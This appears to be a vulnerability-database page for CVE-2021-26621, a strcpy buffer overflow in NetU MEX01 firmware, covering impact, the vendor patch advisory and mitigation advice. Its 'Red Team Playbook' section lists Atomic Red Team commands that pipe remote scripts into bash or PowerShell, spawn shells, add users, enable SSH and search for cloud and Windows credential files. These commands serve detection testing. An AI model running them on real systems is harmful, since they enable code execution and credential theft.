CVE-2021-26621
Overview
This vulnerability is a buffer overflow caused by improper handling of input parameters within the NetU Corp. MEX01 firmware. The root cause lies in the use of the unsafe strcpy() function, which copies parameter values into a fixed-size memory buffer without adequate bounds checking. This flaw affects the memory management component responsible for processing input parameters in the MEX01 device firmware.
Vulnerability Description
An Buffer Overflow vulnerability leading to remote code execution was discovered in MEX01. Remote attackers can use this vulnerability by using the property that the target program copies parameter values to memory through the strcpy() function.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code on the MEX01 device, potentially gaining full control over the system. This can lead to unauthorized access, data compromise, or disruption of device functionality. The attack requires only network access and no user interaction, as indicated by the CVSS vector AV:N/AC:H/PR:N/UI:N, making it feasible for remote exploitation. Successful exploitation could facilitate lateral movement within a network or persistent compromise of the affected device.
Solution
NetU Corp. has published a security advisory accessible at https://www.krcert.or.kr/krcert/secNoticeView.do?bulletin_writing_sequence=66579, which provides detailed patch instructions for the MEX01 firmware. Users should update their devices to the latest firmware version that addresses this buffer overflow vulnerability. The advisory includes specific version numbers and upgrade procedures to mitigate the issue. Applying the vendor-recommended firmware update is the primary remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical buffer overflow vulnerability has been identified in MEX01 firmware, which allows remote code execution due to improper handling of memory during parameter value copying. Specifically, the vulnerability arises from the use of the strcpy() function, which does not perform bounds checking on the input data. When an attacker sends specially crafted input that exceeds the allocated buffer size, it can overwrite adjacent memory locations. This can lead to arbitrary code execution, allowing attackers to gain control over the affected system. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating a significant risk to systems utilizing this firmware.
Attackers can exploit this vulnerability through various vectors, primarily by sending malicious input to the affected application over the network. Since the vulnerability allows remote code execution, an attacker does not need physical access to the device, making it particularly dangerous. For instance, an attacker could craft a payload that, when processed by the MEX01 firmware, triggers the buffer overflow and executes arbitrary code. This could be accomplished via a specially formatted request that the firmware processes, leading to unauthorized access or control over the device. Scenarios may include compromising network devices, which could then be used as a foothold for further attacks within an organization's infrastructure.
The real-world impact of this vulnerability can be severe, especially for organizations relying on MEX01 firmware in critical systems. Successful exploitation could lead to unauthorized access to sensitive data, disruption of services, or even complete system compromise. The potential for widespread damage is significant, as attackers could leverage compromised devices to launch further attacks, pivoting to more secure areas of the network. Additionally, the financial implications of a breach could be substantial, including costs associated with incident response, system recovery, and potential regulatory fines, especially if sensitive data is exposed.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the firmware to the latest version provided by the vendor is crucial, as patches may be released to address known vulnerabilities. Network intrusion detection systems (NIDS) can be configured to monitor for unusual traffic patterns that may indicate attempts to exploit the vulnerability. Additionally, employing application-layer firewalls can help filter out malicious requests before they reach the vulnerable application. Organizations should also conduct regular security assessments and penetration testing to identify and remediate vulnerabilities proactively.
In conclusion, the buffer overflow vulnerability in MEX01 firmware poses a significant threat to organizations that utilize this product. The potential for remote code execution makes it a prime target for attackers seeking to exploit weaknesses in network security. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare their defenses. Implementing robust detection and mitigation strategies will be essential in safeguarding against potential exploits and minimizing the associated business risks.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Netu | Mex01 Firmware | All |
cpe:2.3:o:netu:mex01_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-26621 |
| krcert.or.kr |
GitHub CVE
x_refsource_MISC
|
https://www.krcert.or.kr/krcert/secNoticeView.do?bulletin_writing_sequence=66579 |